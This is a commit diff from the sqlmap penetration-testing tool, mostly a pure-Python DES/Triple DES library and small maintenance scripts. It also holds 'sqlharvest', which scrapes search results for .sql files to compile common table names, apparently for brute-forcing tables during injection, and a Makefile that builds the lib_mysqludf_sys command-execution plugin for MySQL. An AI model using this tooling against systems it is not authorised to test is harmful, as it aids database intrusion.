3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
|
||||
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
|
||||
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
|
||||
|
||||
# S3
|
||||
[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
|
||||
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
|
||||
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
|
||||
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
|
||||
|
||||
# S4
|
||||
[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
|
||||
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
|
||||
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
|
||||
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
|
||||
|
||||
# S5
|
||||
[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
|
||||
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
|
||||
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
|
||||
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
|
||||
|
||||
# S6
|
||||
[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
|
||||
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
|
||||
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
|
||||
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
|
||||
|
||||
# S7
|
||||
[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
|
||||
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
|
||||
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
|
||||
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
|
||||
|
||||
# S8
|
||||
[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
|
||||
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
|
||||
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
|
||||
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
|
||||
]
|
||||
|
||||
|
||||
# 32-bit permutation function P used on the output of the S-boxes
|
||||
__p = [
|
||||
15, 6, 19, 20, 28, 11,
|
||||
27, 16, 0, 14, 22, 25,
|
||||
4, 17, 30, 9, 1, 7,
|
||||
23,13, 31, 26, 2, 8,
|
||||
18, 12, 29, 5, 21, 10,
|
||||
3, 24
|
||||
]
|
||||
|
||||
# final permutation IP^-1
|
||||
__fp = [
|
||||
39, 7, 47, 15, 55, 23, 63, 31,
|
||||
38, 6, 46, 14, 54, 22, 62, 30,
|
||||
37, 5, 45, 13, 53, 21, 61, 29,
|
||||
36, 4, 44, 12, 52, 20, 60, 28,
|
||||
35, 3, 43, 11, 51, 19, 59, 27,
|
||||
34, 2, 42, 10, 50, 18, 58, 26,
|
||||
33, 1, 41, 9, 49, 17, 57, 25,
|
||||
32, 0, 40, 8, 48, 16, 56, 24
|
||||
]
|
||||
|
||||
# Type of crypting being done
|
||||
ENCRYPT = 0x00
|
||||
DECRYPT = 0x01
|
||||
|
||||
# Initialisation
|
||||
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
# Sanity checking of arguments.
|
||||
if len(key) != 8:
|
||||
raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
|
||||
_baseDes.__init__(self, mode, IV, pad, padmode)
|
||||
self.key_size = 8
|
||||
|
||||
self.L = []
|
||||
self.R = []
|
||||
self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
|
||||
self.final = []
|
||||
|
||||
self.setKey(key)
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object. Must be 8 bytes."""
|
||||
_baseDes.setKey(self, key)
|
||||
self.__create_sub_keys()
|
||||
|
||||
def __String_to_BitList(self, data):
|
||||
"""Turn the string data, into a list of bits (1, 0)'s"""
|
||||
if _pythonMajorVersion < 3:
|
||||
# Turn the strings into integers. Python 3 uses a bytes
|
||||
# class, which already has this behaviour.
|
||||
data = [ord(c) for c in data]
|
||||
l = len(data) * 8
|
||||
result = [0] * l
|
||||
pos = 0
|
||||
for ch in data:
|
||||
i = 7
|
||||
while i >= 0:
|
||||
if ch & (1 << i) != 0:
|
||||
result[pos] = 1
|
||||
else:
|
||||
result[pos] = 0
|
||||
pos += 1
|
||||
i -= 1
|
||||
|
||||
return result
|
||||
|
||||
def __BitList_to_String(self, data):
|
||||
"""Turn the list of bits -> data, into a string"""
|
||||
result = []
|
||||
pos = 0
|
||||
c = 0
|
||||
while pos < len(data):
|
||||
c += data[pos] << (7 - (pos % 8))
|
||||
if (pos % 8) == 7:
|
||||
result.append(c)
|
||||
c = 0
|
||||
pos += 1
|
||||
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join([ chr(c) for c in result ])
|
||||
else:
|
||||
return bytes(result)
|
||||
|
||||
def __permutate(self, table, block):
|
||||
"""Permutate this block with the specified table"""
|
||||
return list(map(lambda x: block[x], table))
|
||||
|
||||
# Transform the secret key, so that it is ready for data processing
|
||||
# Create the 16 subkeys, K[1] - K[16]
|
||||
def __create_sub_keys(self):
|
||||
"""Create the 16 subkeys K[1] to K[16] from the given key"""
|
||||
key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
|
||||
i = 0
|
||||
# Split into Left and Right sections
|
||||
self.L = key[:28]
|
||||
self.R = key[28:]
|
||||
while i < 16:
|
||||
j = 0
|
||||
# Perform circular left shifts
|
||||
while j < des.__left_rotations[i]:
|
||||
self.L.append(self.L[0])
|
||||
del self.L[0]
|
||||
|
||||
self.R.append(self.R[0])
|
||||
del self.R[0]
|
||||
|
||||
j += 1
|
||||
|
||||
# Create one of the 16 subkeys through pc2 permutation
|
||||
self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
|
||||
|
||||
i += 1
|
||||
|
||||
# Main part of the encryption algorithm, the number cruncher :)
|
||||
def __des_crypt(self, block, crypt_type):
|
||||
"""Crypt the block of data through DES bit-manipulation"""
|
||||
block = self.__permutate(des.__ip, block)
|
||||
self.L = block[:32]
|
||||
self.R = block[32:]
|
||||
|
||||
# Encryption starts from Kn[1] through to Kn[16]
|
||||
if crypt_type == des.ENCRYPT:
|
||||
iteration = 0
|
||||
iteration_adjustment = 1
|
||||
# Decryption starts from Kn[16] down to Kn[1]
|
||||
else:
|
||||
iteration = 15
|
||||
iteration_adjustment = -1
|
||||
|
||||
i = 0
|
||||
while i < 16:
|
||||
# Make a copy of R[i-1], this will later become L[i]
|
||||
tempR = self.R[:]
|
||||
|
||||
# Permutate R[i - 1] to start creating R[i]
|
||||
self.R = self.__permutate(des.__expansion_table, self.R)
|
||||
|
||||
# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
|
||||
self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
|
||||
B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
|
||||
# Optimization: Replaced below commented code with above
|
||||
#j = 0
|
||||
#B = []
|
||||
#while j < len(self.R):
|
||||
# self.R[j] = self.R[j] ^ self.Kn[iteration][j]
|
||||
# j += 1
|
||||
# if j % 6 == 0:
|
||||
# B.append(self.R[j-6:j])
|
||||
|
||||
# Permutate B[1] to B[8] using the S-Boxes
|
||||
j = 0
|
||||
Bn = [0] * 32
|
||||
pos = 0
|
||||
while j < 8:
|
||||
# Work out the offsets
|
||||
m = (B[j][0] << 1) + B[j][5]
|
||||
n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
|
||||
|
||||
# Find the permutation value
|
||||
v = des.__sbox[j][(m << 4) + n]
|
||||
|
||||
# Turn value into bits, add it to result: Bn
|
||||
Bn[pos] = (v & 8) >> 3
|
||||
Bn[pos + 1] = (v & 4) >> 2
|
||||
Bn[pos + 2] = (v & 2) >> 1
|
||||
Bn[pos + 3] = v & 1
|
||||
|
||||
pos += 4
|
||||
j += 1
|
||||
|
||||
# Permutate the concatination of B[1] to B[8] (Bn)
|
||||
self.R = self.__permutate(des.__p, Bn)
|
||||
|
||||
# Xor with L[i - 1]
|
||||
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
|
||||
# Optimization: This now replaces the below commented code
|
||||
#j = 0
|
||||
#while j < len(self.R):
|
||||
# self.R[j] = self.R[j] ^ self.L[j]
|
||||
# j += 1
|
||||
|
||||
# L[i] becomes R[i - 1]
|
||||
self.L = tempR
|
||||
|
||||
i += 1
|
||||
iteration += iteration_adjustment
|
||||
|
||||
# Final permutation of R[16]L[16]
|
||||
self.final = self.__permutate(des.__fp, self.R + self.L)
|
||||
return self.final
|
||||
|
||||
|
||||
# Data to be encrypted/decrypted
|
||||
def crypt(self, data, crypt_type):
|
||||
"""Crypt the data in blocks, running it through des_crypt()"""
|
||||
|
||||
# Error check the data
|
||||
if not data:
|
||||
return ''
|
||||
if len(data) % self.block_size != 0:
|
||||
if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
|
||||
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
|
||||
if not self.getPadding():
|
||||
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
|
||||
else:
|
||||
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
|
||||
# print "Len of data: %f" % (len(data) / self.block_size)
|
||||
|
||||
if self.getMode() == CBC:
|
||||
if self.getIV():
|
||||
iv = self.__String_to_BitList(self.getIV())
|
||||
else:
|
||||
raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
|
||||
|
||||
# Split the data into blocks, crypting each one seperately
|
||||
i = 0
|
||||
dict = {}
|
||||
result = []
|
||||
#cached = 0
|
||||
#lines = 0
|
||||
while i < len(data):
|
||||
# Test code for caching encryption results
|
||||
#lines += 1
|
||||
#if dict.has_key(data[i:i+8]):
|
||||
#print "Cached result for: %s" % data[i:i+8]
|
||||
# cached += 1
|
||||
# result.append(dict[data[i:i+8]])
|
||||
# i += 8
|
||||
# continue
|
||||
|
||||
block = self.__String_to_BitList(data[i:i+8])
|
||||
|
||||
# Xor with IV if using CBC mode
|
||||
if self.getMode() == CBC:
|
||||
if crypt_type == des.ENCRYPT:
|
||||
block = list(map(lambda x, y: x ^ y, block, iv))
|
||||
#j = 0
|
||||
#while j < len(block):
|
||||
# block[j] = block[j] ^ iv[j]
|
||||
# j += 1
|
||||
|
||||
processed_block = self.__des_crypt(block, crypt_type)
|
||||
|
||||
if crypt_type == des.DECRYPT:
|
||||
processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
|
||||
#j = 0
|
||||
#while j < len(processed_block):
|
||||
# processed_block[j] = processed_block[j] ^ iv[j]
|
||||
# j += 1
|
||||
iv = block
|
||||
else:
|
||||
iv = processed_block
|
||||
else:
|
||||
processed_block = self.__des_crypt(block, crypt_type)
|
||||
|
||||
|
||||
# Add the resulting crypted block to our list
|
||||
#d = self.__BitList_to_String(processed_block)
|
||||
#result.append(d)
|
||||
result.append(self.__BitList_to_String(processed_block))
|
||||
#dict[data[i:i+8]] = d
|
||||
i += 8
|
||||
|
||||
# print "Lines: %d, cached: %d" % (lines, cached)
|
||||
|
||||
# Return the full crypted string
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join(result)
|
||||
else:
|
||||
return bytes.fromhex('').join(result)
|
||||
|
||||
def encrypt(self, data, pad=None, padmode=None):
|
||||
"""encrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : Bytes to be encrypted
|
||||
pad : Optional argument for encryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be encrypted
|
||||
with the already specified key. Data does not have to be a
|
||||
multiple of 8 bytes if the padding character is supplied, or
|
||||
the padmode is set to PAD_PKCS5, as bytes will then added to
|
||||
ensure the be padded data is a multiple of 8 bytes.
|
||||
"""
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
data = self._padData(data, pad, padmode)
|
||||
return self.crypt(data, des.ENCRYPT)
|
||||
|
||||
def decrypt(self, data, pad=None, padmode=None):
|
||||
"""decrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : Bytes to be encrypted
|
||||
pad : Optional argument for decryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be decrypted
|
||||
with the already specified key. In PAD_NORMAL mode, if the
|
||||
optional padding character is supplied, then the un-encrypted
|
||||
data will have the padding characters removed from the end of
|
||||
the bytes. This pad removal only occurs on the last 8 bytes of
|
||||
the data (last data block). In PAD_PKCS5 mode, the special
|
||||
padding end markers will be removed from the data after decrypting.
|
||||
"""
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
data = self.crypt(data, des.DECRYPT)
|
||||
return self._unpadData(data, pad, padmode)
|
||||
|
||||
|
||||
|
||||
#############################################################################
|
||||
# Triple DES #
|
||||
#############################################################################
|
||||
class triple_des(_baseDes):
|
||||
"""Triple DES encryption/decrytpion class
|
||||
|
||||
This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
|
||||
the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
|
||||
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
|
||||
|
||||
pyDes.des(key, [mode], [IV])
|
||||
|
||||
key -> Bytes containing the encryption key, must be either 16 or
|
||||
24 bytes long
|
||||
mode -> Optional argument for encryption type, can be either pyDes.ECB
|
||||
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Must be 8 bytes in length.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
|
||||
during all encrypt/decrpt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
|
||||
PAD_PKCS5) to use during all encrypt/decrpt operations done
|
||||
with this instance.
|
||||
"""
|
||||
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
_baseDes.__init__(self, mode, IV, pad, padmode)
|
||||
self.setKey(key)
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
|
||||
self.key_size = 24 # Use DES-EDE3 mode
|
||||
if len(key) != self.key_size:
|
||||
if len(key) == 16: # Use DES-EDE2 mode
|
||||
self.key_size = 16
|
||||
else:
|
||||
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
|
||||
if self.getMode() == CBC:
|
||||
if not self.getIV():
|
||||
# Use the first 8 bytes of the key
|
||||
self._iv = key[:self.block_size]
|
||||
if len(self.getIV()) != self.block_size:
|
||||
raise ValueError("Invalid IV, must be 8 bytes in length")
|
||||
self.__key1 = des(key[:8], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
self.__key2 = des(key[8:16], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
if self.key_size == 16:
|
||||
self.__key3 = self.__key1
|
||||
else:
|
||||
self.__key3 = des(key[16:], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
_baseDes.setKey(self, key)
|
||||
|
||||
# Override setter methods to work on all 3 keys.
|
||||
|
||||
def setMode(self, mode):
|
||||
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
|
||||
_baseDes.setMode(self, mode)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setMode(mode)
|
||||
|
||||
def setPadding(self, pad):
|
||||
"""setPadding() -> bytes of length 1. Padding character."""
|
||||
_baseDes.setPadding(self, pad)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setPadding(pad)
|
||||
|
||||
def setPadMode(self, mode):
|
||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
_baseDes.setPadMode(self, mode)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setPadMode(mode)
|
||||
|
||||
def setIV(self, IV):
|
||||
"""Will set the Initial Value, used in conjunction with CBC mode"""
|
||||
_baseDes.setIV(self, IV)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setIV(IV)
|
||||
|
||||
def encrypt(self, data, pad=None, padmode=None):
|
||||
"""encrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : bytes to be encrypted
|
||||
pad : Optional argument for encryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be encrypted
|
||||
with the already specified key. Data does not have to be a
|
||||
multiple of 8 bytes if the padding character is supplied, or
|
||||
the padmode is set to PAD_PKCS5, as bytes will then added to
|
||||
ensure the be padded data is a multiple of 8 bytes.
|
||||
"""
|
||||
ENCRYPT = des.ENCRYPT
|
||||
DECRYPT = des.DECRYPT
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
# Pad the data accordingly.
|
||||
data = self._padData(data, pad, padmode)
|
||||
if self.getMode() == CBC:
|
||||
self.__key1.setIV(self.getIV())
|
||||
self.__key2.setIV(self.getIV())
|
||||
self.__key3.setIV(self.getIV())
|
||||
i = 0
|
||||
result = []
|
||||
while i < len(data):
|
||||
block = self.__key1.crypt(data[i:i+8], ENCRYPT)
|
||||
block = self.__key2.crypt(block, DECRYPT)
|
||||
block = self.__key3.crypt(block, ENCRYPT)
|
||||
self.__key1.setIV(block)
|
||||
self.__key2.setIV(block)
|
||||
self.__key3.setIV(block)
|
||||
result.append(block)
|
||||
i += 8
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join(result)
|
||||
else:
|
||||
return bytes.fromhex('').join(result)
|
||||
else:
|
||||
data = self.__key1.crypt(data, ENCRYPT)
|
||||
data = self.__key2.crypt(data, DECRYPT)
|
||||
return self.__key3.crypt(data, ENCRYPT)
|
||||
|
||||
def decrypt(self, data, pad=None, padmode=None):
|
||||
"""decrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : bytes to be encrypted
|
||||
pad : Optional argument for decryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be decrypted
|
||||
with the already specified key. In PAD_NORMAL mode, if the
|
||||
optional padding character is supplied, then the un-encrypted
|
||||
data will have the padding characters removed from the end of
|
||||
the bytes. This pad removal only occurs on the last 8 bytes of
|
||||
the data (last data block). In PAD_PKCS5 mode, the special
|
||||
padding end markers will be removed from the data after
|
||||
decrypting, no pad character is required for PAD_PKCS5.
|
||||
"""
|
||||
ENCRYPT = des.ENCRYPT
|
||||
DECRYPT = des.DECRYPT
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
if self.getMode() == CBC:
|
||||
self.__key1.setIV(self.getIV())
|
||||
self.__key2.setIV(self.getIV())
|
||||
self.__key3.setIV(self.getIV())
|
||||
i = 0
|
||||
result = []
|
||||
while i < len(data):
|
||||
iv = data[i:i+8]
|
||||
block = self.__key3.crypt(iv, DECRYPT)
|
||||
block = self.__key2.crypt(block, ENCRYPT)
|
||||
block = self.__key1.crypt(block, DECRYPT)
|
||||
self.__key1.setIV(iv)
|
||||
self.__key2.setIV(iv)
|
||||
self.__key3.setIV(iv)
|
||||
result.append(block)
|
||||
i += 8
|
||||
if _pythonMajorVersion < 3:
|
||||
data = ''.join(result)
|
||||
else:
|
||||
data = bytes.fromhex('').join(result)
|
||||
else:
|
||||
data = self.__key3.crypt(data, DECRYPT)
|
||||
data = self.__key2.crypt(data, ENCRYPT)
|
||||
data = self.__key1.crypt(data, DECRYPT)
|
||||
return self._unpadData(data, pad, padmode)
|
||||
Executable
+9
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
# $Id$
|
||||
|
||||
# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
|
||||
# Removes trailing spaces from blank lines inside project files
|
||||
find ../../. -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \;
|
||||
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
# Removes duplicate entries in wordlist like files
|
||||
|
||||
import sys
|
||||
|
||||
if len(sys.argv) > 0:
|
||||
|
||||
items = list()
|
||||
f = open(sys.argv[1], 'r')
|
||||
|
||||
for item in f.readlines():
|
||||
item = item.strip()
|
||||
try:
|
||||
str.encode(item)
|
||||
if item in items:
|
||||
if item:
|
||||
print item
|
||||
else:
|
||||
items.append(item)
|
||||
|
||||
if not item:
|
||||
items.append('')
|
||||
except:
|
||||
pass
|
||||
f.close()
|
||||
|
||||
f = open(sys.argv[1], 'w+')
|
||||
f.writelines("\n".join(items))
|
||||
f.close()
|
||||
Executable
+9
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
# $Id$
|
||||
|
||||
# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
|
||||
# Adds SVN property 'Id' to project files
|
||||
find ../../. -type f -name "*.py" -exec svn propset svn:keywords "Id" '{}' \;
|
||||
@@ -0,0 +1,48 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# Runs pylint on all python scripts found in a directory tree
|
||||
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
total = 0.0
|
||||
count = 0
|
||||
|
||||
__RATING__ = False
|
||||
|
||||
def check(module):
|
||||
global total, count
|
||||
|
||||
if module[-3:] == ".py":
|
||||
|
||||
print "CHECKING ", module
|
||||
pout = os.popen('pylint --rcfile=/dev/null %s'% module, 'r')
|
||||
for line in pout:
|
||||
if re.match("E....:.", line):
|
||||
print line
|
||||
if __RATING__ and "Your code has been rated at" in line:
|
||||
print line
|
||||
score = re.findall("\d.\d\d", line)[0]
|
||||
total += float(score)
|
||||
count += 1
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
print sys.argv
|
||||
BASE_DIRECTORY = sys.argv[1]
|
||||
except IndexError:
|
||||
print "no directory specified, defaulting to current working directory"
|
||||
BASE_DIRECTORY = os.getcwd()
|
||||
|
||||
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
|
||||
for root, dirs, files in os.walk(BASE_DIRECTORY):
|
||||
for name in files:
|
||||
filepath = os.path.join(root, name)
|
||||
check(filepath)
|
||||
|
||||
if __RATING__:
|
||||
print "==" * 50
|
||||
print "%d modules found"% count
|
||||
print "AVERAGE SCORE = %.02f"% (total / count)
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,151 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import urllib
|
||||
import urllib2
|
||||
import ConfigParser
|
||||
|
||||
from operator import itemgetter
|
||||
|
||||
def main():
|
||||
|
||||
TIMEOUT = 10
|
||||
CONFIG_FILE = 'sqlharvest.cfg'
|
||||
TABLES_FILE = 'tables.txt'
|
||||
USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)'
|
||||
SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic'
|
||||
MAX_FILE_SIZE = 2*1024*1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it
|
||||
QUERY = 'CREATE TABLE ext:sql'
|
||||
REGEX_URLS = r';u=([^"]+)'
|
||||
REGEX_RESULT = r'CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)'
|
||||
|
||||
tables = dict()
|
||||
refiles = re.compile(REGEX_URLS)
|
||||
retables = re.compile(REGEX_RESULT, re.I)
|
||||
|
||||
cookies = cookielib.CookieJar()
|
||||
cookie_processor = urllib2.HTTPCookieProcessor(cookies)
|
||||
opener = urllib2.build_opener(cookie_processor)
|
||||
opener.addheaders = [('User-Agent', USER_AGENT)]
|
||||
|
||||
conn = opener.open(SEARCH_URL)
|
||||
page = conn.read() #set initial cookie values
|
||||
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(CONFIG_FILE)
|
||||
if not config.has_section('options'):
|
||||
config.add_section('options')
|
||||
|
||||
if not config.has_option('options', 'index'):
|
||||
config.set('options', 'index', '0')
|
||||
|
||||
i = int(config.get('options', 'index'))
|
||||
|
||||
try:
|
||||
f = open(TABLES_FILE, 'r')
|
||||
for line in f.xreadlines():
|
||||
if len(line) > 0 and ',' in line:
|
||||
temp = line.split(',')
|
||||
tables[temp[0]] = int(temp[1])
|
||||
f.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
socket.setdefaulttimeout(TIMEOUT)
|
||||
|
||||
files, oldFiles = None, None
|
||||
try:
|
||||
while True:
|
||||
abort = False
|
||||
oldFiles = files
|
||||
files = []
|
||||
|
||||
try:
|
||||
conn = opener.open('%s&q=%s&start=%d&sa=N' % (SEARCH_URL, QUERY.replace(' ', '+'), i*10))
|
||||
page = conn.read()
|
||||
for match in refiles.finditer(page):
|
||||
files.append(urllib.unquote(match.group(1)))
|
||||
if len(files) >= 10: break
|
||||
abort = (files == oldFiles)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
|
||||
except Exception, msg:
|
||||
print msg
|
||||
|
||||
if abort:
|
||||
break
|
||||
|
||||
sys.stdout.write("\n---------------\n")
|
||||
sys.stdout.write("Result page #%d\n" % (i+1))
|
||||
sys.stdout.write("---------------\n")
|
||||
|
||||
for sqlfile in files:
|
||||
print sqlfile
|
||||
try:
|
||||
req = urllib2.Request(sqlfile)
|
||||
response = urllib2.urlopen(req)
|
||||
|
||||
if response.headers.has_key('Content-Length'):
|
||||
if int(response.headers.get('Content-Length')) > MAX_FILE_SIZE:
|
||||
continue
|
||||
|
||||
page = response.read()
|
||||
found = False
|
||||
counter = 0
|
||||
|
||||
for match in retables.finditer(page):
|
||||
counter += 1
|
||||
table = match.group("result").strip().strip("`").strip("\"").strip("'").replace('"."', ".").replace("].[", ".").strip('[').strip(']')
|
||||
|
||||
if table and '>' not in table and '<' not in table and '--' not in table and ' ' not in table:
|
||||
found = True
|
||||
sys.stdout.write('*')
|
||||
|
||||
if table in tables:
|
||||
tables[table] += 1
|
||||
else:
|
||||
tables[table] = 1
|
||||
if found:
|
||||
sys.stdout.write("\n")
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
|
||||
except Exception, msg:
|
||||
print msg
|
||||
|
||||
else:
|
||||
i += 1
|
||||
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
finally:
|
||||
f = open(TABLES_FILE, 'w+')
|
||||
|
||||
tables = sorted(tables.items(), key=itemgetter(1), reverse=True)
|
||||
|
||||
for table, count in tables:
|
||||
f.write("%s,%d\n" % (table, count))
|
||||
|
||||
f.close()
|
||||
config.set('options', 'index', str(i+1))
|
||||
|
||||
f = open(CONFIG_FILE, 'w+')
|
||||
config.write(f)
|
||||
f.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
+1
-1
@@ -4,6 +4,6 @@ LIBDIR=/usr/lib
|
||||
#LIBDIR=/usr/lib/mysql/plugin
|
||||
|
||||
install:
|
||||
gcc -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
||||
gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
||||
strip -sx lib_mysqludf_sys.so
|
||||
cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
+1
-1
